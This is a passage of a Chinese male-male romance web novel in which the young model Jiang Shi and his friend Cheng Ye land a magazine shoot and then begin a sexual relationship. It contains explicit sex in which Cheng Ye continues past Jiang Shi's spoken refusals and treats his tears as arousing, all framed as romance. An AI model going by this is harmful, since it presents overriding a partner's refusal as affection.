休息区的茶几旁边放着往期的期刊,江时翻了翻,发现拍得竟然都还不错,难怪之前孙天宇说他们的杂志挺有名。 一本还没翻完,走廊里传来脚步声。孙天宇推门进来,看见江时,眼睛亮了亮,“你跟我过来,李姐临时有事,下午的飞机,你只有二十分钟的时间。” 江时甚至还没反应过来,就被孙天宇拽走了。他步子很急,拉着人进了旁边的办公室,然后说了句“助理在外面等着”,伸手把程野一推,哐当一声把门带上。 里面坐着个女人,高鼻梁,单眼皮,薄唇,脸上戴着金丝眼镜,隔着镜片投出来的光很锐利。 李娜上下扫了眼江时,“这就是你说的那个人?” 孙天宇把江时往前一推,“虽然年纪不大,可身上的气质很独特,跟你那件衣服很搭。” 站在前头的少年似乎有些懵,眼底带着迷茫的光,五官是很精致,但还带着些没退完的少年气,穿得也很简单,没有丝毫时尚可言。 李娜嗤笑一声,把手里的笔丢在办公桌上,“真是什么阿猫阿狗都往我跟前带。” 这回江时听懂了,他哪受过这种气,当即不悦地皱起眉头,脸色不由得冷了点。 一份工作而已,干不干对他而言没什么影响,对方不欢迎他,他没什么留下来的必要,当即就要转身离开。 李娜见他冷脸,忽然来了兴趣,“等等……你叫什么名字?” “江时。” “多大了?” “十九。” “刚高考完?” 对于态度不好的人,江时一向没什么耐心。他讥讽回去,“跟你有什么关系,既然不想要,问那么多干什么?” 李娜却笑了起来,“对!就是这样,高傲、冷脸,谁也不在乎……” 她猛地站起来,“就你了,孙总监,带他下去签合同。” 说完她踩着高跟走到江时面前,神色有些痴迷地盯着他的脸,“多好看一张脸,脾气应该再坏一点,别见谁都笑,笑容来得太容易,就没人愿意珍惜了……” 江时:“……” 江时默默往后退了一步。 孙天宇把人带出办公室,终于解决一件大事,他脸上的笑藏也藏不住,“李姐这个人痴迷设计,有时候上头了还神神叨叨的,但不会对你做什么的,你别害怕。” 怕江时跑了,他完全不给江时思考的时间,一出来就带着他去签合同。 了解到江时刚刚高考完,他道:“如果有什么不放心的,可以给家里的大人看看,因为你是第一次,之前也没有经验,有什么不懂的尽管问我。” 坐他旁边的程野已经在翻合同。 孙天宇顿了顿,“这位是你的助理?” 江时想,他多大的腕,还有助理这种东西? “朋友。” 程野那张脸太有攻击性,孙天宇没忍住多看了两眼,“你朋友长得也很有特色,而且看起来快有一米九了吧,不知道有没有兴趣……” 程野头也不抬,“没有。而且……”他道:“我觉得这个价钱不合理。” “怎么不合理?” “少了。” 孙天宇:“……” 他挤出一个笑,“我们就是一个小小的期刊,又不是什么顶尖的存在,不信你去问问,其他模特也是这个价位,我可没有坑你们。” “是没有。”程野道:“可江时和别人不一样。” 他眼底没什么情绪,但孙天宇知道,这位比江时本人还难说话。 “但他是新人,是因为他形象气质好,我们才破例收的,不然哪家有名的杂志社会收完全没有经验的模特?能给普通模特的报酬已经是我做出最大的让步了。” 程野合上合同,把它往孙天宇跟前推了推,“我还是那句话,价钱低了,要么涨价,要么你们另请高明。” 孙天宇气得磨了磨牙,转头看向江时,“你就不说什么?” 江时眨了眨眼,“哦,我听他的。” “……” 一点主见也没有! 程野拿起江时的书包,顺手还把前台拿来招待人的点心装了进去,“他们不愿意,那我们走吧。” 江时屁股刚起来,孙天宇无奈道:“活了三十多年,第一次栽在两个毛头小子身上,等着,我要征求下李姐的意见。” 江时起来的屁股又落下去。 他看着孙天宇走出去,接过程野给他剥好的橘子,“你怎么知道他会答应?” “刚刚等你的时候我把他们的杂志都翻了翻,李娜是他们的首席设计师,她设计的衣服都有个特点,布料飘逸、轻薄,这样的布料只能在夏天穿。” “我猜他们应该是想抓住这个夏季的市场,但由于李娜很挑剔,迟迟找不到心仪的模特,所以一推再推,现在都八月份了,再推迟只能等明年,但明年,这衣服说不定就过时了。” 他笑了笑,“我们能等,他们可等不了。” 江时刚想说程野心好脏,转个头就看见他把水果也放包里了。 “不是,你连水果都要薅?” “带回去,当工作室福利。”他顿了顿,“这个不新鲜,我回去给你买新鲜的。” 这是新不新鲜的问题? 江时给了程野一下,“你穷到连买水果的钱都没有?” 刚赚了一笔的程野,“没有。我问过前台了,她说可以随便吃。” “……” 好好好。 论抠搜,程野第二,没人敢认第一。 孙天宇去得快,来得也快。他坐下来给自己灌了杯水,“三千,不能再多,可以的话明天就来拍摄。” 说这话时他都感到肉疼,但没办法,程野捏住了他们的命门。 杂志的销量越来越差,他们连请稍微有名点的模特都没钱,更别说什么当红明星。时代不同,大家都看人,谁还看模特身上的衣服。 李娜虽然脾气古怪,但有着跟他一样的坚持。而他们,正指望出这个系列打个翻身仗。 哪怕价格稍贵,但他们等不起,只能签江时。 江时朝程野看去。 “签吧。” 送走两位活祖宗,孙天宇靠在沙发上舒了一口气。他下意识伸手往茶几上一捞,顿时捞了个空。 他低头,两个盘子空荡荡。 不是,东西呢? 第68章 程野租的房子在两所大学中间,不是很宽敞的两居室,但位置和交通都很方便。 回去的路上他买了些菜和水果。 江时的懒他早有领会,很多东西不乐意吃压根不是不喜欢,就是嫌麻烦,剥皮麻烦,染上汁水洗手麻烦。为了让他多吃点,程野每次都是削皮去核切成小块插上牙签放他面前。 小祖宗一回屋就开空调往沙发上一躺,长了些的头发丝垂落,像它主人一样蔫蔫的。 程野拎着水果和菜去厨房。 他人高,厨房并不是很宽敞,长腿宽肩的往里一杵,光都被挡了大半。 程野切了西瓜,又剥了石榴,提子的皮也剥了跟石榴籽装在一起。 江时眯着眼睛吹冷风昏昏欲睡。 眼前盖下阴影,然后额头前的刘海被一只手撩上去。他这才睁开眼睛,看着程野粗长的手指有些笨拙地捏着一个小小的草莓发卡,在他的注视下,咔嗒一下把刘海别住。 眼前骤然敞亮起来,江时愣了两秒,伸手往头上摸了摸,摸到了小草莓下面坠着的两片叶子。 “什么东西?” 程野说:“发卡。” 江时当然知道是发卡,“你哪里来的?” 还是这种可爱的草莓发卡。 “买的。”程野道:“昨天看你吃饭一直扒拉头发,应该是流汗挡住眼睛了,早上出门买早餐的时候顺道买了个发卡。” 他头发跟他人一样又粗又硬,不像江时,江时的发质很软,只有睡觉不老实才会有几缕不听话地翘起来。 头发被发卡别住,就服帖老实的待在头顶,下面的脸神色有些呆,两颊被太阳晒出来的红还没散完。 “很可爱。”他评价。 没有哪个男生会喜欢可爱这种评价,江时把枕头朝程野身上丢。 程野抓着枕头站起来,垫回他脑袋下,“晚上要吃什么?” 江时翻个身,尖尖的下颌戳进枕头里,“不想吃,没胃口。” “好吧。”程野说:“那就炖个牛肉,然后再炒几个蔬菜。” “……” 屋子采光很好,下午五点了太阳还没落山,客厅里亮堂堂的。 江时跟没骨头的猫一样蛄蛹着翻身,枕着头看程野做饭。 其实程野并不会做什么菜,之前在溪柳村的时候他也没这条件,通常都是有什么吃什么,家里有时候连油也吃不上,放水里煮一煮,打个蘸水就完了。 可他从来不会委屈江时。 不会做菜,他自己买个菜谱,先是自己倒腾一遍,觉得能吃了才做给江时吃。 光看他的样子,江时实在很难想象他做饭会好吃。但学霸就是学霸,除了一开始他有些控制不住调料的比例外,到目前为止,已经做得像模像样的,味道也比江雪做的好多了。 他拿着锅铲,一手端着锅,手腕一动,很轻松地颠了个锅。 江时看了会,问他:“需要我帮忙吗?” 之前在家里他还会帮江雪收拾一下碗筷,可跟着程野短短几天,都快被养成个废人了。 “要。”程野说:“帮我把茶几上的水果吃了。” “……” 行吧,江时探出点身子,拿了块西瓜。 吃完饭,程野把碗洗了,又把地拖了,解下身上的围裙,换上外套跟在沙发上打游戏的江时道:“我去开个会,不知道几点回来,到了十一点就睡觉,别熬夜,明天我陪你去拍摄。” 江时把脸从手机屏幕里抬起来,“这么晚还要开会?” 不是这么晚开会,是为了陪江时,他把会挪到了晚上。 “不晚,回来得早的话给你带楼下的烧烤。” 程野的忙碌江时都看在眼里,拍个杂志而已,他自己也可以,没必要还让人陪着。 “你忙你的,我明天自己去就行。” 很显然,这种事情程野并不会听江时的。他弯腰在门边换鞋,目光往里掠,少年的T恤掀起来点,露出一截清瘦的腰。 于是他的动作顿了顿。 江时等了会,没等到开门的声音,他回头,下巴被两根手指钳住,掰着他的脸,唇舌挤了进来。 衣服往上掀,白得能发光的腰被一只蜜色的手按住,手指上的骨头硌得江时肉疼。 他扭了扭腰,想摆脱那只手,却把自己又往对方怀里送了点。 程野松开手,往后退了步,嘴里呼出的气息很热,“别蹭,再蹭就走不了了。” 被倒打一耙的江时抹了把嘴,“程野你犯什么毛病,好端端的亲我干什么?” “你刚刚勾引我。” 江时:“??” 你可做个人吧。 程野的会不知道开到几点,他睡着时人没回来,醒来时已经在做早餐了。 高考完后,江时天天睡到自然醒,忽然一下起这么早,他人都恍惚了。 到了拍摄场地人还没回过神,就被拉去化妆。 化妆的是个年轻女生,端详了下江时的脸,感叹,“也不知道要在你这张完美的脸上画些什么。” 李娜推门进来,“给他化成熟点,他的脸看起来还太少年气了。” 江时什么都没听见,闭着眼任由化妆师在他脸上拍拍打打。 门外,工作人员在布置场地,孙天宇来回奔波,喊得嗓子都哑了。他回头找水喝,看见在化妆室门口站着的程野。 剪了那么短的头发,非但不显得人丑,五官依旧深邃,宽肩、窄腰、长腿,和江时的精致不同,程野身上的野性很重,身上带着某种沉淀过的气质。 很迷人,也很危险。 孙天宇顿了顿,拿着水杯站在程野身边。 他喝了口水,开口,“小兄弟,你是少数民族吗?” 程野没看他,目光看着不远处的拍摄产地,一个工作人员抱着一捧巨大的水仙花小心翼翼的走进来。 “嗯。” “难怪。”孙天宇笑了声,“五官看起来跟汉人不太一样。” 他侧了下身子,打量着程野。 他手里拎着的那个包看起来是个牌子货,但他自己则穿着一身不知道穿了多久的旧衣服,鞋子也是,网面有些变形,仔细一看,还是个盗版。 “你这样的身高和外形很适合当模特,别小看这个行业,比你想象的还要赚钱,你这种风格的我还没见过,以后指不定真的会火,真的不考虑一下?” “不了。”程野淡淡的,“家里人不让。” 孙天宇愣了下,“不让?” “我保守,要守男德,做不得模特这种抛头露面的工作。” 孙天宇:“……” 他嘴角抽了抽,还想要说什么,身后的门吱呀一声开了。 程野转身,江时逆着光从门里出来。 他脸上打了层很薄的底,画了眼线,将他原本的少年气弱化,整个人顿时变得更加有距离感,口红的颜色也很淡,但他没涂过,唇总是不自在地抿着。 程野的眼神从他饱满的唇上滑过,才看到他身上的衣服。 那是一件白色衬衫,布料很轻薄。他看不懂衣服的设计和款式,只看到了江时领口敞开的锁骨,在光影下若隐若现的腰,素白的手腕从衣袖里探出来,尺骨晕着粉。 工作人员搬来鼓风机,插上电源,风把江时身上的衣服吹起,轻盈得像翩跹的蝴蝶。 程野伸出手,只碰到点衣角,蝴蝶就被李娜拽走了。 摄影师是李娜的丈夫,一个中文很好的外国人。 他看见江时时眼睛亮了起来,比起含蓄的中国人,他们对待美的事物和人总是很大方的赞美。 “太漂亮了,你简直是为这件衣服而生的。” 程野和孙天宇靠近拍摄场地,那捧纯白的水仙被江时抱在怀里,少年低垂着眼,似乎跟前有着一汪清泉,里头倒影着他的面容,他伸手触碰,倒影散开,于是眼底的忧郁更盛。 孙天宇对江时的表现力感到惊讶,“娜姐的灵感设计来源于希腊神话中的纳西索斯,一个爱上自己水中倒影触碰不得最终郁郁而终的人。所以穿它的人得好看,还要高傲冷淡,除了他自己,世上没有谁会值得他注意。” “你看,他像不像他怀里的白水仙。” “不像。”程野道:“像蝴蝶。” 孙天宇扭头朝他看去,但程野最后什么都没说。 最难拍摄的是一开始那件衣服,后面就简单多了,但杂七杂八弄下来,等到拍完已经晚上六点多。 除了一开始冷着个脸,江时后面都要笑着拍,笑了一天,他嘴角都僵了,心里感叹果然没有什么工作是容易的。 临走时,李娜叫住他,“按道理来说拍摄好的衣服都要回收,但这件衬衣很适合你,权当是合作愉快的奖励,送你了。” 江时看着她递过来的袋子愣了愣,伸手接下,“谢谢。” 孙天宇送他们出去,他朝江时道:“希望以后有机会一起合作。” 虽然很累,但江时并不讨厌拍摄,而且这钱赚得比搬砖简单多了。他没拒绝孙天宇的邀约,“借您吉言。” 晚上吃的火锅,江时辣得额头冒汗,一边嘶哈一边喝水,眼睛亮晶晶的,“我觉得还挺好玩的。” 程野不知道又从哪里翻出草莓发卡,把江时前面的头发别上去,看着他晕着红的脸,“喜欢?” “还行吧。”江时眨了下眼睛,“反正不讨厌。” “我知道了。”程野说。 “你又知道什么了?” 程野没说话,捏了捏江时书包里有点厚度的现金,“这顿是你请么,少爷?” 第一次赚钱的江时大手一挥,“那当然了。” 吃完饭,江时洗掉一身的疲惫,出来时程野站在阳台上打电话。 他擦着头发,目光移了移,看到被放在沙发上的袋子。 江时走过去,拿出里面的白色衬衣抖了抖,布料轻盈的在空气里舒展,白色的丝绸在灯光下折射出宛如珍珠的光泽。 拍了半天,他其实还没看过自己穿上这个衣服是什么样。 江时顿了顿,扭头,程野还背着他讲电话。于是他飞快地扒了身上的T恤,把衬衣套了上去。 回头时,程野挂了电话靠在阳台的门边。 他没说话,目光宛如实质,一寸寸从江时身上刮过,带着阵酥麻。 江时捏着衣角的手紧了紧,欲盖弥彰,“我就是试试看合不合身。” 程野走过来把那截布料从他手里解脱出来,站他面前垂着眼把领口整理好。 “很好看。”他声音喑哑,“很衬你,像蝴蝶。” 蝴蝶是个什么鬼…… 他眼底的神色过于灼热,江时有些不自在别开脸,“你让开,我要去卫生间。” 程野没说话,伸手搂着江时的腰,单手抱着他,打开了卫生间的门,把他放着坐在洗漱台上。 他捧着江时的脸,让他看见镜子里的自己,“我没撒谎,少爷的确很好看。” 江时眼睫颤了颤,看到了镜子里的自己。 完全没有拍摄时摄影师说的忧郁和冷淡,眼底氲着潮气,下巴被程野的手搓出粉。 另一张脸贴过来,黑和白在镜子里交汇。 江时扭头,程野盯着他,目光很暗,低声用彝语说了句话。 “……&%。” 他愣了愣,“你说什么?” “我说……” “少爷,要接吻吗?” 江时,想操你。 第69章 程野嘴里说着想亲,人却没有丝毫动作,垂眼盯着江时,眼里像是在奔涌着什么。 江时目光和他相触,呼吸交融,气息灼热,温度高得能把人融化。 皮肤发着烫,可没谁移开视线。同样都是男的,目光接触的瞬间江时就知道程野在想什么,同样的,程野也在江时眼里读到了某些信息。 下一秒,两人亲了起来。 双方的动作都很急切,江时的手被压着靠在身后的镜子上,臀往里送,哗啦一声,上面的东西全被挤了下去。 唇舌交缠的吞咽声很明显,期间还夹杂着一两声细细的呜咽。 台子上悬着一双腿,笔直匀称,足弓紧绷,小腿下意识抬起,然后又脱力一样垂下,靠在台子边缘,被冰得颤了颤。 程野伸手捞着腿往自己腰上放,环住腰,抱着人离开了洗漱台。 被放在床上时江时懵了两秒,灯光在头顶晕成五颜六色的光,等他回神时,程野正跪在他身侧拆包装。 他脸上表情不显,手上动作却很急躁,撕不开最外面那层透明的膜,他干脆张嘴咬住,带着点尖的犬牙一用力,顿时被他咬掉一个角。 刺啦一声响,江时和他黑得泛绿的目光对上。 “你什么时候买的东西?” 程野言简意赅,“搬家的第一天。” 江时忽然觉得有些臊得慌,“你怎么……” 程野抽出里面的润滑剂,见他这样,反而勾着唇笑了,“我的小少爷,想听真话还是假话?” “大家都说,男人在床上的话都做不得数,我不一样……” 他伸手握住江时的腿,把它们分开,从上至下,强势地扫过,“我只在床上对你说真话。” 他伸手一拉,江时裤腰的绳子顿时解开。 “从见你第一面的时候我就想上你,但我想,你长得那么好看,浑身上下干干净净的,看着就不像是能被玷污的样子。我不一样,我就是条野狗,你凭什么给我上?” “可我就是很想,想亲你,想扒光你的衣服,想融入你,最好被我做得下不了床,生活不能自理,然后每天躺在床上,等着我……” 江时听得眉心跳了跳,顾不得裤子被扒了一半,往后躲了躲,“程野,你……” “躲什么?” 程野圈着他的腰,把人钉在身下,“这时候才躲已经来不及了少爷。” “之前你问我是不是有瘾,我现在可以回答你。没有,一直都没有,严格说起来,在遇到你之前我是个性冷淡。” 江时目光往他身下落。 程野看见他的目光,就这么敞着,让他看。 “虽然有些不可思议,但事实如此,它只对你有感觉。” 等江时回过神来时,冰凉已经挤进身体,他被冰得打了个哆嗦,下意识伸手去推程野的手。 程野顿了顿,抽出手,撩起江时的衬衣下摆递到他嘴边。 “咬着,小狗的水快把衣服弄脏了。” …… 江时觉得程野就是天生的坏胚,平时装得再怎么老实,一旦上了床,顿时就原形毕露。 他习惯性掌控,强势,说一不二。 肩膀和胸膛宽阔到可以装下两个江时,就连手也比江时的大上一圈,不需要刻意凹姿势,稍微一动,肌肉的轮廓就很明显。 和江时相比,此时的程野,看起来已经是个成熟男人。 所以他的那些挣扎在一个成年男性面前根本就不够看,纯白的布料被含在嘴里,扩充到极致时,江时瞳孔有些涣散,布料洇湿一大团。 下一秒,布料被扯出去,脸被捧着,细细啄吻,期间夹杂着浅浅的叹息。 “少爷真娇气,这才三根手指。” 江时一颤,顿时被吓清醒了。他腰软得厉害,动也动不了,只能狼狈地把头往一边扭。 “不、不要了,程野,我、我还没准备好。” 手指被压着,程野抬起另一只手拍了下,力道不大,但架不住江时天生皮肤嫩。 清脆的一声响后,瞬间就红了。 程野愣了下,眼睛有些发红,半天了还没吃到,他喉咙发着干,讲出来的话不由得冷硬几分。 “不要你准备什么,转头趴好。” “程野!”江时耳朵红得能滴血,“你怎么能……” “我怎么?”程野手上动作不减,“少爷不如省着点力气待会哭。” “我不行的程野……”江时抓着枕头,感觉整个人已经崩到极致,仿佛随时都会裂开,“进不去的……” “进得去。” 程野的手像烙铁,一寸寸凿开身体,眼泪在某些时刻、某些地方对他来说,只会让他更兴奋。 …… 丝绸材质的衬衣到最后被揉成一团丢在墙角,空气里味道经久不散。 江时的眼皮合上又睁开,程野的脸还在他跟前晃。不知道是汗水还是泪水从他脸颊滑落,江时终于受不了的哭出声。 带着潮气的指尖捏着他的后颈,脸上的泪水和汗水尽数被舔去。 “哭什么,这才一次。” 江时不语,张嘴咬住程野的肩膀。 程野的动作不快不慢,比起其它的,他更喜欢看江时迷蒙的脸。 因他产生欲望,又因他破碎。 尺寸不相合,他知道已经到了江时的极限,可少年靠在他怀里细细呜咽的样子过于可爱,于是又心生恶劣。 “小少爷,饭也吃不了,苦也吃不了,到最后,这个也吃不了。什么都吃不了,未免也太娇气了点。” 嘴欠的后果就是程野的肩膀被咬了个深深的牙印,江时的脸拔出来时嘴角还带着血。 他擦掉江时嘴角的血迹,轻笑了声,“说不得,骂不得,也弄不得。”- 江时第二天醒来时不知今夕是何夕。厚重的窗帘拉得严严实实,连丝光也透不进来。身体很干爽,同样的,也很酸爽。 没有小说里主角被车碾过那么夸张,但就是哪哪都不得劲,特别是大腿,跪久了,酸得不行。 江时伸手往旁边摸了摸,没摸到他的手机,只能抱着被子艰难翻了个身。 他一翻身,弄出点动静,门咔哒一声就开了。 程野站在门边,逆着光,身影挺拔。 他刚刚似乎是在做饭,腰上还系着围裙,手里拿着筷子,见江时醒了,过去扶着他的肩膀。 他先是低头用额头碰了碰他的脑门,见温度正常后才开口,“要喝水吗?” 江时一看见他就来气,奈何累到连手都不想动,只能瞪了程野一眼,一张嘴,声音沙哑,“你给我滚!” 程野扶他坐起来,开了盏床头的夜灯,“我滚了就没人伺候少爷了。” 他此刻衣服一穿,围裙一戴,身上带着灶火熏出来的烟火气,又变成了以往的老实模样。 江时:“……” 江时想把这双眼睛给捐了。 他闷闷咳了两声,还想骂人,一杯温水递在嘴边。 江时把话咽下去,没骨气的就着程野的手喝了半杯水。 程野见他喝够了,放下水杯,张嘴咬住手里的筷子,一掀被子,将光溜溜的江时捞出来。 江时瑟缩一下,懵了瞬,“不是,我衣服呢?” 程野提着人坐在床沿,把咬出一个牙印的筷子搁在床头柜上,伸手拿过一早就准备在一边的裤子,“大腿内侧磨破皮了,里面也红肿了,穿着睡不舒服。” 他把裤子给江时套上,“不穿内裤了,待会吃完饭再给你上次药。” 江时万万没想到,自打他记事以来,第一次真空竟然是跟程野上床后。 一想起这个他就来气,哪怕内侧被磨得难受,也要抬脚踹程野,“你就没有什么要跟我说的吗?” 程野想了会,老实道:“我很开心。” 江时抿着唇,明显不是很开心,“没了?” 蹲在他跟前的人神色有些犹豫。 江时又给了他一脚,“说,你在想什么?” 程野说:“少爷很好操。” “……” 哐当一声,门在程野跟前合上,他摸了把鼻子,解下围裙。 他试着敲了敲门,没有回应,又试着喊了喊,“少爷?江时?” 邻居老太太出门倒垃圾,闻言奇怪地看了他一眼。 程野没脸没皮的站着,“少爷,我错了,你把我丢外面至少把我手机给我,王卓说工作上有事要找我。” 说完后,他站在原地默数,数到十的时候,门终于被打开。江时只开了条小小的缝,露出来的小半张脸冷冷的,“拿走你的破手机。” 手机的确很破,程野伸手接过来,在江时关门的瞬间张开手掌扣住门框,一用力,门瞬间被他掰开,挤了进去。 江时没想到他就这么挤了进来,站在原地呆了两秒,眼睁睁看着程野进来又把门关上。 “好了,生气就打我,把我关在外面你怎么吃饭?” “好啊你程野……”江时说:“你现在长本事了,都敢跟我作对了,我让你进来了吗!” “陪你吃完饭上完药我再出去。” 江时抓起手边的抽纸朝他脸上丢,“我现在就不想看见你!” 程野却问他,“要筷子还是勺子?” 江时:“……” 真的是…… 油盐不进。 程野压根就没脸皮这种东西。江时骂他,他听着,江时打他,他受着,江时让他滚出去,他就当没听见。 折腾到最后,江时唯一仅剩的精力也耗尽了,吃完饭后蔫蔫的躺在沙发上,疑似失去所有力气和手段。 程野收拾好,洗干净手拿着药出来。 他蹲在江时跟前拧开盖子,“少爷,裤子是你自己脱还是我帮你脱?” 江时:“……” 第70章 江时翻了个身,把屁股背着程野,“我自己来。” 程野当没听到似的,勾着江时的裤腰,手上不知道怎么用的劲,任他挣扎防守,没一会就被扒了个精光。 有力的大手掰开他的腿。 画面和晚上某些时刻重叠,江时眼皮一跳,伸脚去踢程野的肩膀。 程野不动,反而是他肩膀上紧实的肌肉硌得江时脚疼。打又打不过,骂又没反应,江时抑郁了,摊着腿,不动了。 程野顿了顿,挤出药膏,细细给他磨得通红的大腿内侧抹上药。 他语调平平,夹杂着一丝无奈,“小少爷,上又不给上的,一觉醒来还生这么大的气,比皇帝还难伺候。” 小皇帝江时:“……” 他被冰得往里缩,对着别人敞露的样子过于羞耻,他抓着一个枕头抱在怀里挡住视线。 “这是我的问题吗?这明明、明明是你……” “是我什么?” 江时不吭声了。 抹完内侧,程野探进去一个指节,“不让我进去,磨磨大腿还生气,要是真进去了,少爷还不得把我吃了。” 江时:“……” 这语气,搞得他像个负心汉一样。 他道:“你那玩意跟驴似的,怎么可能进得去?” 程野手上力道重了分,按得沙发上的人颤了下,“我说了进得去。” “你下面这张嘴比上面这张嘴贪吃多了。” 说着时,他微微叹气,“就是太娇气,三根手指都能肿。” 江时:“……” 一个人的脸皮厚到什么程度,才能青天白日面色如常的说出这种话来? 说起手指,江时的目光不由得往下落了落,看到程野拿着药膏的那只手。 正常大小的膏药落在他手心显得有些袖珍,哪怕不种地,程野也天天干活,手上的茧子依旧厚,骨节突出,掌心宽大,体温比常人的要高上许多,像一根烧热的铁棍,偏生还很灵活,捅到哪麻到哪。 三根就撑到极限,更别说别的。 江时心有余悸地挪着屁股往后缩,才退了一点距离,就被程野抓着往前带,“躲什么?” 他哽了哽,小心翼翼道:“程野,你不觉得我们尺寸相差有些许的大吗?” “不觉得。”程野挤进第二根手指,“那是少爷太紧,多捅捅就松了。” “……” 江时实在受不了程野,抓着枕头往他身上砸。 程野被砸得懵了懵,“我说的是实话。” 嘭地一声,门再次在程野跟前合上,这回不仅手机,连衣服都被江时丢了出来。 江时在门里说:“你今天……不,以后都别进来了!” 程野:“……” 他在门口等了两个小时,江时去睡觉了也不给他开门,程野只能拿着衣服去刘满和小六家。 刘满和小六一起租了个房,程野到的时候两人正在打游戏,开门看见是他时还愣了愣,“程哥,你怎么来了?” 程野顿了顿,“被江时赶出来了,来你们这里待待。” 刘满挠挠头,侧身让他进来,“连衣服都给你丢出来了,你干什么惹他生气了?” 小六侧着个脑袋,“可是你们的房子不是你花钱租的吗?他还能把你赶出来?” 刘满踹了小六的脚一下。 三十多度的高温,程野来的路上热得后背都被汗浸湿了,他给自己倒了杯水,拉着椅子坐在风扇对面,“那是我给江时租的房,我的钱就是他的钱,所以房子是他的。” 小六人都懵了,“是这么算的吗?” 是怎么算的不知道,但在江时面前,程野一向没什么尊严。 他像个入赘被赶回娘家的窝囊丈夫,坐在风扇面前连灌了两杯水,然后拿着手机复盘自己究竟哪里惹江时生气了。 刘满也拿着椅子坐在程野身边,他丢了瓶啤酒给他,小六没心没肺的在后面开着麦和别人对喷。 “怎么回事?” 程野拉开易拉罐,泡沫从小孔里冒出来,“讲话不好听,惹他生气了。” 刘满给自己点了根烟,他穿着个背心,明明年纪和程野差不多,但眉宇间多了几分老父亲的沧桑。 他往后看了眼,小六没注意他们,缓了缓,他压低声音道:“程哥,有件事,我不知道该不该问……” 程野朝他看去。 刘满灌了口酒,“你和江时是不是……” “是。” 刘满没想到他回答得这么干脆,愣了好一会才干笑一声,“你们是认真的么?” 程野说:“你看我像是在开玩笑吗?” 刘满顿住,几秒后,他拿着啤酒和他碰了下,“不管怎么样,我们还是兄弟。” 两人坐着心照不宣的喝了罐酒,小六在身后喊,“我靠!对面这货看不起我,满哥你快来!” “来什么来!”刘满骂他,“一天就知道打游戏,没看到程哥坐这里吗?” 小六感到委屈,“今天不是放假了吗?再说了,程哥又不是外人。” 程野把空瓶捏扁丢垃圾桶里,朝刘满道:“你电脑里有片吗?” 刘满下意识,“我不是,我没有,我可是三好青年,你别瞎说……” 程野看他。 刘满顿了顿,“冒昧问一下,你拿来干什么?” 程野说:“学习。” 刘满、小六:“……” 程野空着个手来,走的时候拷贝了足足有5个G的优盘。 看着门合上,小六游戏也顾不得打了,他摘下耳机,“说实话,我一直以为程哥是个性冷淡来着。” 刘满忧伤叹气,揉了把小六的脑袋,“你不懂,打你的游戏去。” 然后又点了根烟。 …… 江时一觉睡到晚上五点,屋里静悄悄的,拿起手机,也没人给他打电话和发消息。 他走到门边,掀开猫眼往外面看了看,看到一个空荡荡的走廊。 顿了顿,江时打开门。 在猫眼看不见的地方,程野正靠在墙上,戴着耳机,也不知道在看什么。 听见动静,他神色自然的关掉手机,弯腰把放在地上的菜拎起来,“你之前不是念着要吃火锅吗,我买回来了。” 江时只觉得屁股痛。 程野又补充,“番茄的。” 他自然的说着,然后自然的挤进去,仿佛之前的一切都没发生,他只是单纯的出去买了菜而已。 江时也没觉得哪里不对劲,等他反应过来时程野已经在厨房里洗菜了。 “……” 这时候再发火就显得他很斤斤计较似的,但又感觉气不顺。 于是江时垮着脸坐在沙发上。 程野端着水果出来,沙发上的人鼻子都快翘到天上去了。 待门口看了一个多小时的片程野没感觉,但看江时故意板着张脸,还以为很隐蔽的瞥了他一眼,他顿时就难受得不行。 笑得时候好看,生气的时候也好看。 好看,还是想太阳。 他把水果放茶几上,又变戏法似的不知道从哪里掏出一盒打包的炸串,“给你买的,你最喜欢的那家炸串,不过没放辣椒。” 自从到林城以来,江时的味蕾就跟打开了一样,嫌弃的东西依旧多,但却多了个爱好,喜欢吃垃圾食品。 那家炸串店是晚上跟程野闲逛的时候发现的,藏在角落的一个小摊子,味道让江时无比上头。 但程野觉得不卫生,不让他吃。今日自知理亏,倒自己主动买来哄他。 江时目光往下移了移,香味飘过来,虽然没辣椒少了点感觉。 他垮着的脸松动几分。 程野打铁趁热,抓着江时的手往他脸上放,“对不起,又惹你生气了,老是生气对身体不好,但你老是赶我走对我们的感情也不太好,所以要不你打我一顿吧?” 他的脸带着晒过太阳后的温热,掌心摸着的轮廓很深邃,脸上没什么肉,按下去反而是江时带着软肉的手指硌得有些疼。 真的是名副其实的硬汉了。 江时抽回手,骂他:“你想得美,我打你说不定还奖励你了。” 程野沉默。 江时拿走他手上的炸串,“愣着干嘛,做饭呀,我都饿了。” 没能被打,程野似乎有些惋惜,但还是起身去做饭了。 江时打开电视,随便调了个台,吃着炸串看综艺。 屋子里飘来番茄锅底的香味,程野的手机响了。 江时侧过去看了眼,喊:“程野,有人给你打电话了。” 程野在切肉,“谁?” “王卓。” “你帮我接一下。” 江时擦擦手,接了。 两分钟后,他道:“王卓说工作室的文件发你邮箱了,你记得看看。” “我知道了。” 话刚说完,江时就看见了新邮件到的信息。 程野用的还是他之前那个老手机,甚至连密码都没改,还是他的生日。江时发誓他不是有意要偷窥什么,只是看见忽然到了个消息提醒,手指下意识就解锁了。 叮的一声,邮件没看到,弹出来的却是之前没退出去的画面。 视频卡顿了一秒,紧接着婉转高昂的声音响彻整个客厅。 江时呆住了,厨房里的程野也呆了两秒。 他飞快擦干净手,快步走到江时跟前,拿走他手里的手机。 下一秒,声音停歇。 潮红爬上江时的耳根,他哪看过这种东西,脑海里全是刚刚的画面。 “不是,程野你……” 程野顿了顿,解释,“我没干嘛,只是学习。” 在他关着门,在门外面等他开门的时候,站在走廊里旁若无人的学习? 程野又补充,“带了耳机,后面觉得叫得太恶心,把声音关了。” 哪能想,耳机的声音跟外放的声音不是一个控制键。 他说得正常,倒显得红着一张脸的江时不太正常。江时虽然不看,但他也知道很多男生会偷偷躲在被子里看,他压下心底有些奇怪的不悦感,问程野,“你学什么?” 程野老实道:“学技术。” 江时抬眼瞅他。 他自己不知道,他此刻双眸带水的样子有多勾人。 程野喉咙滚了滚,“你不让我进去,我想了一下午,可能是我技术差,所以你才不乐意。只要我技术够好,把你伺候舒服了,你爽了自然就愿意了。” 江时心底那点不悦感莫名就没了,涌上来的更多是无语,“难道你就没考虑过自身的硬件问题?” 程野坚决不承认。 他拿着手机,毫无心理负担的把刘满给卖了,“东西是刘满给我的,但都是一男一女,没什么参考价值。” 江时随便哼两声都比里面的人好听。 看他那样子,还要找男男版本来学。 也只有程野能把这种话题说得面不改色了。 江时说:“你别学了。” 这都什么跟什么。 “为什么?” “哪有那么多为什么,你天天看这个你受得了?” “是挺恶心的。”程野说着顿了顿,“你不喜欢我看?” 